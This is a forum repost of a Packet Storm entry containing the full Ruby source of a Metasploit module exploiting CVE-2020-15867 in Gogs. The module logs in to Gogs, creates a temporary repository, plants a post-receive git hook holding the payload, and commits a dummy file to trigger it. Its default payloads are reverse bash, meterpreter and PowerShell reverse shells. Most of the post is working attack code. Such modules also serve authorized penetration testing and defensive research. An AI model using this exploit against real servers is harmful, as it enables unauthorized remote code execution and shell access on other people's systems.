Gogs Git Hooks Remote Code Execution

#190
Topic created · 1 Posts · 0 Views
  • This Metasploit module leverages an insecure setting to get remote code execution on the target OS in the context of the user running Gogs. This is possible when the current user is allowed to create git hooks, which is the default for administrative users. For non-administrative users, the permission needs to be specifically granted by an administrator. To achieve code execution, the module authenticates to the Gogs web interface, creates a temporary repository, sets a post-receive git hook with the payload and creates a dummy file in the repository. This last action will trigger the git hook and execute the payload. Everything is done through the web interface. No mitigation has been implemented so far (latest stable version is 0.12.3)
    . This module has been tested successfully against version 0.12.3 on docker. Windows version could not be tested since the git hook feature seems to be broken.
    MD5 | b94ad9d4b20219eb61069ef797cbb9b2
    Download

    ##  
    # This module requires Metasploit: https://metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
    class MetasploitModule < Msf::Exploit::Remote  
    Rank = ExcellentRanking  
    prepend Msf::Exploit::Remote::AutoCheck  
    include Msf::Exploit::Remote::HttpClient  
    include Msf::Exploit::CmdStager  
    def initialize(info = {})  
    super(  
    update_info(  
    info,  
    'Name' => 'Gogs Git Hooks Remote Code Execution',  
    'Description' => %q{  
    This module leverages an insecure setting to get remote code  
    execution on the target OS in the context of the user running Gogs.  
    This is possible when the current user is allowed to create `git  
    hooks`, which is the default for administrative users. For  
    non-administrative users, the permission needs to be specifically  
    granted by an administrator.  
    To achieve code execution, the module authenticates to the Gogs web  
    interface, creates a temporary repository, sets a `post-receive` git  
    hook with the payload and creates a dummy file in the repository.  
    This last action will trigger the git hook and execute the payload.  
    Everything is done through the web interface.  
    No mitigation has been implemented so far (latest stable version is  
    0.12.3).  
    This module has been tested successfully against version 0.12.3 on  
    docker. Windows version could not be tested since the git hook feature  
    seems to be broken.  
    },  
    'Author' => [  
    'Podalirius',             # Original PoC  
    'Christophe De La Fuente' # MSF Module  
    ],  
    'References' => [  
    ['CVE', '2020-15867'],  
    ['EDB', '49571'],  
    ['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],  
    ['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']  
    ],  
    'DisclosureDate' => '2020-10-07',  
    'License' => MSF_LICENSE,  
    'Platform' => %w[unix linux win],  
    'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
    'Privileged' => false,  
    'Targets' => [  
    [  
    'Unix Command',  
    {  
    'Platform' => 'unix',  
    'Arch' => ARCH_CMD,  
    'Type' => :unix_cmd,  
    'DefaultOptions' => {  
    'PAYLOAD' => 'cmd/unix/reverse_bash'  
    }  
    }  
    ],  
    [  
    'Linux Dropper',  
    {  
    'Platform' => 'linux',  
    'Arch' => [ARCH_X86, ARCH_X64],  
    'Type' => :linux_dropper,  
    'DefaultOptions' => {  
    'CMDSTAGER::FLAVOR' => :bourne,  
    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
    }  
    }  
    ],  
    [  
    'Windows Command',  
    {  
    'Platform' => 'win',  
    'Arch' => ARCH_CMD,  
    'Type' => :win_cmd,  
    'DefaultOptions' => {  
    'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
    }  
    }  
    ],  
    [  
    'Windows Dropper',  
    {  
    'Platform' => 'win',  
    'Arch' => [ARCH_X86, ARCH_X64],  
    'Type' => :win_dropper,  
    'DefaultOptions' => {  
    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
    }  
    }  
    ],  
    ],  
    'DefaultOptions' => { 'WfsDelay' => 30 },  
    'DefaultTarget' => 1,  
    'Notes' => {  
    'Stability' => [CRASH_SAFE],  
    'Reliability' => [REPEATABLE_SESSION]  
    }  
    )  
    )  
    register_options([  
    Opt::RPORT(3000),  
    OptString.new('TARGETURI', [true, 'Base path', '/']),  
    OptString.new('USERNAME', [true, 'Username to authenticate with']),  
    OptString.new('PASSWORD', [true, 'Password to use']),  
    ])  
    @need_cleanup = false  
    end  
    def check  
    res = send_request_cgi(  
    'method' => 'GET',  
    'uri' => normalize_uri(target_uri.path)  
    )  
    unless res  
    return CheckCode::Unknown('Target did not respond to check.')  
    end  
    # <meta name="author" content="Gogs" />  
    unless res.body.match(%r{<meta +name="author" +content="Gogs" */>})  
    return CheckCode::Unsupported('Target does not appear to be running Gogs.')  
    end  
    CheckCode::Appears('Gogs found')  
    end  
    def exploit  
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
    print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")  
    gogs_login  
    print_good('Logged in')  
    @repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')  
    print_status("Create repository \"#{@repo_name}\"")  
    gogs_create_repo  
    @need_cleanup = true  
    print_good('Repository created')  
    case target['Type']  
    when :unix_cmd, :win_cmd  
    execute_command(payload.encoded)  
    when :linux_dropper, :win_dropper  
    execute_cmdstager(background: true, delay: 1)  
    end  
    end  
    def execute_command(cmd, _opts = {})  
    vprint_status("Executing command: #{cmd}")  
    print_status('Setup post-receive hook with command')  
    gogs_post_receive_hook(cmd)  
    print_good('Git hook setup')  
    print_status('Create a dummy file on the repo to trigger the payload')  
    last_chunk = cmd_list ? cmd == cmd_list.last : true  
    gogs_create_file(last_chunk: last_chunk)  
    print_good("File created#{', shell incoming...' if last_chunk}")  
    end  
    def http_post_request(uri, opts = {})  
    csrf = opts.delete(:csrf) || get_csrf(uri)  
    timeout = opts.delete(:timeout) || 20  
    post_data = { _csrf: csrf }.merge(opts)  
    request_hash = {  
    'method' => 'POST',  
    'uri' => normalize_uri(datastore['TARGETURI'], uri),  
    'ctype' => 'application/x-www-form-urlencoded',  
    'vars_post' => post_data  
    }  
    send_request_cgi(request_hash, timeout)  
    end  
    def get_csrf(uri)  
    vprint_status('Get "csrf" value')  
    res = send_request_cgi(  
    'method' => 'GET',  
    'uri' => normalize_uri(uri)  
    )  
    unless res  
    fail_with(Failure::Unreachable, 'Unable to get the CSRF token')  
    end  
    csrf = extract_value(res, '_csrf')  
    vprint_good("csrf=#{csrf}")  
    csrf  
    end  
    def extract_value(res, attr)  
    # <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">  
    # <input type="hidden" id="user_id" name="user_id" value="1" required>  
    # <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">  
    unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))  
    return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")  
    end  
    return match[:value]  
    end  
    def gogs_login  
    res = http_post_request(  
    '/user/login',  
    user_name: datastore['USERNAME'],  
    password: datastore['PASSWORD']  
    )  
    unless res  
    fail_with(Failure::Unreachable, 'Unable to reach the login page')  
    end  
    unless res.code == 302  
    fail_with(Failure::NoAccess, 'Login failed')  
    end  
    nil  
    end  
    def gogs_create_repo  
    uri = normalize_uri(datastore['TARGETURI'], '/repo/create')  
    res = send_request_cgi('method' => 'GET', 'uri' => uri)  
    unless res  
    fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
    end  
    vprint_status('Get "csrf" and "user_id" values')  
    csrf = extract_value(res, '_csrf')  
    vprint_good("csrf=#{csrf}")  
    user_id = extract_value(res, 'user_id')  
    vprint_good("user_id=#{user_id}")  
    res = http_post_request(  
    uri,  
    user_id: user_id,  
    repo_name: @repo_name,  
    private: 'on',  
    description: '',  
    gitignores: '',  
    license: '',  
    readme: 'Default',  
    auto_init: 'on',  
    csrf: csrf  
    )  
    unless res  
    fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
    end  
    unless res.code == 302  
    fail_with(Failure::UnexpectedReply, 'Create repository failure')  
    end  
    nil  
    end  
    def gogs_post_receive_hook(cmd)  
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')  
    shell = <<~SHELL  
    #!/bin/bash  
    #{cmd}&  
    exit 0  
    SHELL  
    res = http_post_request(uri, content: shell)  
    unless res  
    fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
    end  
    unless res.code == 302  
    msg = 'Post-receive hook creation failure'  
    if res.code == 404  
    msg << ' (user is probably not allowed to create Git Hooks)'  
    end  
    fail_with(Failure::UnexpectedReply, msg)  
    end  
    nil  
    end  
    def gogs_create_file(last_chunk: false)  
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')  
    filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"  
    res = send_request_cgi('method' => 'GET', 'uri' => uri)  
    unless res  
    fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
    end  
    vprint_status('Get "csrf" and "last_commit" values')  
    csrf = extract_value(res, '_csrf')  
    vprint_good("csrf=#{csrf}")  
    last_commit = extract_value(res, 'last_commit')  
    vprint_good("last_commit=#{last_commit}")  
    http_post_request(  
    uri,  
    last_commit: last_commit,  
    tree_path: filename,  
    content: Rex::Text.rand_text_alpha(1..20),  
    commit_summary: '',  
    commit_message: '',  
    commit_choice: 'direct',  
    csrf: csrf,  
    timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting  
    )  
    vprint_status("#{filename} created")  
    nil  
    end  
    # Hook the HTTP client method to add specific cookie management logic  
    def send_request_cgi(opts, timeout = 20)  
    res = super  
    return unless res  
    # HTTP client does not handle cookies with the same name correctly. It adds  
    # them instead of substituing the old value with the new one.  
    unless res.get_cookies.empty?  
    cookie_jar_hash = cookie_jar_to_hash  
    cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))  
    cookie_jar_hash.merge!(cookies_from_response)  
    cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|  
    set << "#{cookie[0]}=#{cookie[1]}"  
    end  
    cookie_jar.clear  
    cookie_jar.merge(cookie_jar_updated)  
    end  
    res  
    end  
    def cookie_jar_to_hash(jar = cookie_jar)  
    jar.each_with_object({}) do |cookie, cookie_hash|  
    name, value = cookie.split('=')  
    cookie_hash[name] = value  
    end  
    end  
    def cleanup  
    super  
    return unless @need_cleanup  
    print_status('Cleaning up')  
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')  
    res = http_post_request(uri, action: 'delete', repo_name: @repo_name)  
    unless res  
    fail_with(Failure::Unreachable, 'Unable to reach the settings page')  
    end  
    unless res.code == 302  
    fail_with(Failure::UnexpectedReply, 'Delete repository failure')  
    end  
    print_status("Repository #{@repo_name} deleted.")  
    nil  
    end  
    end  
    

    Source: packetstormsecurity.com

Log in to reply